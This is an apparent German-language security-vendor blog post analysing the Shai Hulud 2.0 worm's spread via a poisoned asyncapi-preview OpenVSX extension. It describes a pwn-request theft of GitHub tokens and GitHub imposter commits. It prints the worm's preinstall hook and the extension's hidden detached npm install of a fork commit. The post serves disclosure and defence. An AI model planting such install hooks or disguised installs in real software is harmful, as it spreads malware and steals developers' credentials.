Aikido

Shai Hulud 2.0: Was der unbekannte Wanderer uns über das Endspiel der Angreifer verrät

Charlie EriksenCharlie Eriksen
|
#

Die Geschichte von Shai Hulud 2.0 enthält weitere Wendungen, auf die wir besonders hinweisen möchten, da wir zum ersten Mal beobachtet haben, dass sie sich auf mehrere Ökosysteme ausgeweitet hat. Bei der Untersuchung dieses Vorfalls haben wir wichtige neue Informationen entdeckt, die tiefere Einblicke in die Vorgehensweise der Angreifer geben. Hier sind einige Highlights unserer Erkenntnisse:

  • Die erste Verbreitung des Wurms begann bereits am 23. November 2025 um 23:36 UTC, als die Angreifer eine bösartige Version des asyncapi/asyncapi-Vorschau Erweiterung auf OpenVSX.
  • Während des ersten Angriffs benannten die Angreifer ihr GitHub-Konto um in Unbekannter Wunderer1

Wenn ich mit Journalisten über die Vorfälle bei S1ngularity und Shai Hulud gesprochen habe, war die große unbeantwortete Frage immer: Was ist das Endziel des Angreifers? Monatelang hatten wir nicht viel, worauf wir uns stützen konnten, nur Vermutungen und Intuition.

Aber dieses winzige, von der Überlieferung inspirierte Detail bestätigt tatsächlich eine Theorie, die ich von vielen Forschern gehört habe: Diese Angreifer verursachen nicht nur Chaos zum Spaß oder aus Profitgier. Sie versuchen auch, eine Botschaft zu vermitteln. Es ist die Art von„Seht her, wie zerbrechlich eure Welt wirklich ist“-Energie, die aufkommt, wenn jemand der Meinung ist, dass das Ökosystem zu vertrauensselig, zu automatisiert und zu leicht zu durchbrechen geworden ist.

Ob das nun echte Motivation oder nur theatralisches Selbstbild ist, spielt eigentlich keine Rolle. Das Ergebnis ist dasselbe: ein Angriff, der nicht nur darauf abzielt, sich zu verbreiten, sondern uns auch mit der unangenehmen Wahrheit zu konfrontieren, dass wir etwas zu viel Vertrauen in Systeme gesetzt haben, die weitaus anfälliger sind, als wir glauben möchten.

Der unbekannte Wanderer

Der Benutzername UnknownWonderer1 ist mit ziemlicher Sicherheit eine Anspielung auf die Zensunni-Wanderern aus „Dune“. Dabei handelte es sich um Nomaden, die Jahrtausende lang durch verschiedene Welten zogen, vertrieben und von den Mächtigen weitgehend unbeachtet.

Mit der Zeit wurden diese Wanderer zu den Fremen, die einzige Kultur, die wirklich im Einklang mit Shai-Hulud, den großen Sandwürmern von Arrakis, stand. Wenn man dies mit einer Malware namens Shai Hulud in Verbindung bringt, erscheint der Bezug nicht mehr zufällig. Es entsteht eine von Dune inspirierte Symmetrie: der Wanderer, der sich über den Sand bewegt, und der Wurm, der sich still unter ihm durchgräbt.

In der Dune-Saga stehen die Zensunni für Menschen, die außerhalb offizieller Strukturen leben und übersehen werden, bis ihre Widerstandsfähigkeit ganze Zivilisationen verändert. Es ist nicht schwer zu verstehen, warum diese Vorstellung für einen Angreifer attraktiv sein könnte, der sich durch eine moderne Software-Lieferkette schleicht.

Durch die Übernahme dieser Identität geben sich die Angreifer als eine ähnlich unsichtbare Präsenz im Ökosystem aus und bewegen sich unbemerkt zwischen Repositorys, Konten und Paketen hin und her.

Diese Darstellung deutet sogar auf eine mögliche Motivation hin. Sie suggeriert jemanden, der sich selbst als Außenseiter sieht und ein System herausfordert, das er für fragil oder selbstgefällig hält, oder vielleicht einen Wanderer, der Schwächen in einer Umgebung aufdeckt, die ihn unterschätzt hat.

Und diese Metapher passt unheimlich gut zum Verhalten der Malware: still, hartnäckig und aus den toten Winkeln heraus agierend, die niemand zu überprüfen denkt. All dies lässt den Benutzernamen weniger wie eine zufällige Wahl erscheinen, sondern eher wie einen Einblick in die Vorstellung der Angreifer von ihrer Rolle und ihrer Wirkung. Dieses Sprichwort, das The Zensunni Whip zugeschrieben wird, scheint irgendwie relevant und vorausschauend zu sein:

Man kann eine Marionette nicht mit nur einer Schnur manipulieren.

Ausbreitung in OpenVSX

Am 23. November 2025 um 23:36 UTC wird eine neue Version der asyncapi/asyncapi-Vorschau Auf OpenVSX wurde eine Erweiterung veröffentlicht, die den Shai Hulud 2.0-Wurm installieren würde. Die Art und Weise, wie sie eingeführt wurde, war sehr hinterhältig und es lohnt sich, dies genauer zu untersuchen. Hier finden Sie eine Schritt-für-Schritt-Übersicht darüber, wie sich der Angriff entwickelt hat. 

Schritt 1 – Exfiltrationsgabel vorbereiten

Am 22. November 2025 um 16:06 UTC hat der Angreifer vskpsfkbjs auf GitHub einen Commit in einem Fork des asyncapi/cli Repository. 

https://github.com/asyncapi/cli/commit/9cbab46335c4c3fef2800a72ca222a44754e3ce1

Darin sehen wir, wie sie ein Skript ändern, das von einer ihrer GitHub-Aktionen verwendet wird, sodass es die lokale Git-Konfiguration an einen webhook.site Endpunkt. 

Ist Ihnen aufgefallen, dass es zu einem Fork außerhalb des Repositorys gehört? Das ist wichtig. Denn dies ist ein klassisches Beispiel für einen „Pwn Request“. Er befindet sich ausschließlich im Fork des Repositorys des Angreifers, wird aber später aus dem asyncapi Repository.

Schritt 2 – Angriff PR vorbereiten 

Als Nächstes sehen wir am 22. November 2025 um 16:29 UTC, wie der Angreifer in seiner Fork einen Zweig namens Patch-1

https://github.com/asyncapi/cli/commit/6473466dd512125032cf2f8a28f391f8722d4901

Hier sind einige Dinge erwähnenswert:

  • Beachten Sie, dass sich der Benutzername geändert hat von vskpsfkbjs zu Unbekannter Wunderer1Es scheint, dass der Angreifer sein GitHub-Konto umbenannt hat. 
  • Der Commit scheint nur Textänderungen zu enthalten.

Das ist verwirrend, oder? Warum nur Textänderungen? Die Antwort liegt in der Funktionsweise des GitHub-Aktions-Workflows. Da die anfälligen GitHub-Aktionen den Code aus dem Fork auschecken, der zusammengeführt wird, ziehen sie auch die bösartige Version der Datei mit rein..github/workflows/changeset-utils/index.js, die die Angreifer bereits mit ihrer Exfiltrations-Payload vorbereitet hatten. Diese schädliche Datei wird dann im Kontext des offiziellen Repositorys ausgeführt und exfiltriert deren secrets. 

Schritt 3 – Exfiltrations-PR einreichen

Als Nächstes, am 22. November 2025 um 16:38 UTC, sendet der Angreifer einen PR an das offizielle Repository, um seine Exfiltrations-Payload auszulösen. Wir sehen Beweise dafür in der SonarQube :

https://sonarcloud.io/summary/new_code?id=asyncapi_cli&pullRequest=1903

Zu diesem Zeitpunkt wird ihre schädliche Nutzlast ausgeführt worden sein und das GitHub-Token an ihren Exfiltrationspunkt gesendet haben.

Schritt 4 – Beweise verstecken

Zu diesem Zeitpunkt hat der Angreifer die GitHub-Token für das Repository exfiltriert. Nur 2 Minuten und 44 Sekunden später, um 16:40 UTC, schloss er seinen Pull-Request, um seine Spuren zu verwischen. 

Schritt 5 – Wurm einsetzen

Am nächsten Tag, dem 23. November 2025, um 22:56 UTC, erstellten die Angreifer einen Commit (wahrscheinlich auf ihrem Fork), der offenbar von GitHub Actions verfasst wurde. Der Commit löscht alle Dateien im Repository mit Ausnahme von package.json und fügt den Wurm hinzu. 

https://github.com/asyncapi/cli/commit/2efa4dff59bc3d3cecdf897ccf178f99b115d63d

Die Datei package.json wird geändert, um den Wurm einfach auszuführen:

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

Schritt 6 – Bereitstellung einer bösartigen OpenVSX-Erweiterung

Schließlich wurde die bösartige OpenVSX-Erweiterung am 23. November 2025 um 23:36 UTC bereitgestellt. Hier ist der bösartige Code, den sie in den Aktivierungscode für die Erweiterung eingefügt haben:

  console.log("Congratulations, your extension \"asyncapi-preview\" is now active!");
      try {
        0;
        const e = a.spawn("npm", ["install", "github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d"], {
          detached: true,
          stdio: "ignore"
        });
        if ("function" == typeof e.unref) {
          e.unref();
        }
        e.on("error", e => {});
      } catch (e) {}

Das sieht doch nicht besonders verdächtig aus, oder? Es scheint so einfach zu sein wie die Installation des AsyncAPI-CLI-Pakets aus einem bestimmten Commit im offiziellen Repository, was eigentlich sicher sein sollte. Aber das ist es nicht. Es bezieht sich auf den oben genannten bösartigen Commit, der in einem Fork existierte, nicht im offiziellen Repository. Sind Sie schon verwirrt? 

Verwirrung stiften? Verwirrung im Repository? 

Als wir den oben genannten „bösartigen“ Code zum ersten Mal sahen, waren wir verblüfft. Wie kann es unsicher sein, ein Paket aus einem legitimen GitHub-Repository zu installieren? Die Antwort lautet „Imposter Commits“, eine wenig bekannte Eigenschaft von GitHub. Wenn jemand ein Repository auf GitHub forkt, kann auf alle Commits im Fork auch über den Commit-Hash des ursprünglichen Repositorys zugegriffen werden. Nur wenn man sich den Commit in der GitHub-Benutzeroberfläche ansieht, erhält man einen Hinweis darauf, dass etwas nicht stimmt:

Dieses Verhalten ist wirklich kontraintuitiv und nicht sehr sicherheitsfreundlich. Denn wenn Sie einen Befehl wie npm install asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63dSie erwarten, dass Code aus dem Repository „asyncapi/cli“ installiert wird. Nicht ein Commit auf einem Fork, der nicht einmal mehr existiert. Diese Art von Angriff könnte als Verwirrung im Repository Verletzlichkeit. 

Anhang – Detaillierte GitHub-Zeitleiste

Zeitstempel (UTC) Δ Zeit Phase Aktion Bedeutung
16:06:02 Aufklärung Zweig „fix-typos“ auf persönlichem Fork erstellt Ersteinrichtung; Benutzer bereitet Arbeitszweig vor
16:06:27 +0:25 Aufklärung PR #1 erstellt auf Fork (abgeleitet aus Kommentardaten) PR-Workflow im eigenen Repository testen
16:07:16 +0:49 Prüfung Geschlossene PR #1 auf Fork Experimente mit PR-Mechanismen
16:08:25 +1:09 Prüfung PR #1 auf Fork wieder geöffnet Fortgesetzte Workflow-Tests
16:09:06 +0:41 Prüfung Zum Master-Zweig übertragen Direktes Push zum Master der Fork
16:09:21 +0:15 Prüfung Geschlossenes PR #1 erneut Abschluss des Testzyklus
16:19:10 +9:49 Vorbereitung Zweiter Versuch, zu meistern Gabel mit Änderungen synchronisieren
16:19:40 +0:30 Automatisierungsauslöser GitHub-Actions-Bot kommentiert PR Automatischer Changeset-Workflow aktiviert
16:29:26 +9:46 Inszenierung Auf neuen Patch-1-Zweig übertragen Vorbereitung der Nutzlast für die Upstream-Übermittlung
16:38:05 +8:39 Ausführung PR #1903 auf asyncapi/cli geöffnet 🚨 Versuch eines Upstream-Beitrags
16:40:49 +2:44 Rückzug PR #1903 vom Autor geschlossen Entfernen der PR, um Spuren zu verwischen
4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.